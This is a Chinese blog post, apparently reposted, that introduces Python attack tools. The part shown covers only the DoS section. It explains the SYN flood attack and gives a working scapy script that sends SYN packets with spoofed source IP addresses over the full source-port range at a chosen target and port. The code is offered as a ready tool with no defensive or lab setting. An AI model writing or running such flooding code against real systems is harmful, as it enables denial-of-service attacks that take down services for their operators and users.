python实现端口扫描器/DoS/DDoS

整理github,梳理下Python小工具。以下是python实现的DoS/DDoS/端口扫描器(github)。

一、DoS

SYN Flood是当前最流行的DoS(拒绝服务攻击)与DdoS(分布式拒绝服务攻击)的方式之一,这是一种利用TCP协议缺陷,发送大量伪造的TCP连接请求,从而使得被攻击方资源耗尽(CPU满负荷或内存不足)的攻击方式。参考链接:https://baike.so.com/doc/5503756-5739500.html

利用python的scapy库可以很容易的实现DoS攻击。简单来说,scapy就是模拟客户端TCP链接的第一次握手,发送携带syn的数据包给服务端。当服务端返回syn+ack应答时,正常的客户端应该发送携带ack的响应以完成3次握手。而不正常的客户端不再响应,当有数以万记的这样的客户端时,服务器会维护一个非常大的半连接列表而消耗非常大的资源。最后导致堆栈溢出,或是服务端失去响应。

scapy库可以很容易的模拟不同的src来发起连接,所有脚本需要在root下执行。

1 #!/usr/bin/env python3 2 import random 3 from scapy.all import * 4 5 def synFlood(target, dPort): 6 srcList = ['201.1.1.2','10.1.1.12','69.1.1.2','125.130.5.199'] 7 for sPort in range(1025,65535): 8 index = random.randrange(4) 9 ipLayer = IP(src=srcList[index],dst=target) 10 tcpLayer = TCP(sport=sPort,dport=dPort,flags='S') 11 packet = ipLayer/tcpLayer 12 send(packet)

内容版权声明:除非注明,否则皆为本站原创文章。

转载注明出处:https://www.heiqu.com/zyzxwx.html